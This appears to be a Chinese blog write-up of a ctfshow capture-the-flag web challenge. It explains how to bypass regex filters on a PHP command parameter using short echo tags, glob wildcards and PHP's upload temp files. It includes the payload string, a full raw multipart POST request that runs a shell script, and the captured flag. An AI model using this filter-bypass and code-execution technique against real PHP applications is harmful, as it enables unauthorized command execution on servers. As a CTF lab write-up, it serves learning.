ctfshow_红包题第二弹------glob通配符

f12有提示

发送get包?cmd=ls,出现代码

这里有两个正则表达式,理解一下

preg_match("/[A-Za-oq-z0-9$]+/",$cmd)   检查$cmd中是否包含至少一个 "大写字母、除 p 外的小写字母、数字或美元符号"。

preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)    使用|分隔多个需要匹配的字符,相当于 "或" 的关系。在正则表达式中,某些字符(如*()[]等)本身具有特殊含义,所以这里使用反斜杠\进行了转义,让它们仅表示字符本身。

我们传什么参呢?

了解一下标签

在php中,<? ?>称为短标签,<?php ?>称为长标签。修改PHP.ini文件配置 short_open_tag = On 才可使用短标签。php5.4.0以后, <?= 总是可代替 <? echo。

+代表空格

URL编码中空格为%20,+表示为%2B。然而url中+也可以表示空格,要表示+号必须得用%2B。

Linux下的glob通配符
  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符
临时文件

在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。

思路就是上传文件生成临时文件,将真正想要执行的函数放到临时文件中,然后利用eval函数进行执行临时文件。

cmd=?><?=`.+/??p/p?p??????`

?>:闭合前面的<?php命令

<?=:相当于<?php echo

反引号:执行命令

.相当于source命令

+:相当于空格

?:文字通配符,负责执行上传的临时文件

构造payload

Content-Type
      Content-Type有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对

                                              ②multipart/form-data:上传文件

boundary
        boundary为边界分隔符

        文件开始标记:-----------------------------10242300956292313528205888

        文件结束标记:-----------------------------10242300956292313528205888--

        其中10242300956292313528205888是浏览器随机生成的,只要足够复杂就可以。

文件内容
        #! /bin/sh 指定命令解释器,#!是一个特殊的表示符,其后,跟着解释此脚本的shell路径。bash只是shell的一种,还有很多其它shell,如:sh,csh,ksh,tcsh。首先用命令ls /  来查看服务器根目录有哪些文件,发现有flag.txt,然后再用cat /flag.txt 即可。

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 46793251-bac3-4fb9-b4a1-bce2ca80a987.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,en-GB-oxendict;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Content-Length: 246

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash

cat /flag.txt
-----------------------------10242300956292313528205888--

拿到flag

ctfshow{3bde0436-5268-4020-a973-5d261f3fce22}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值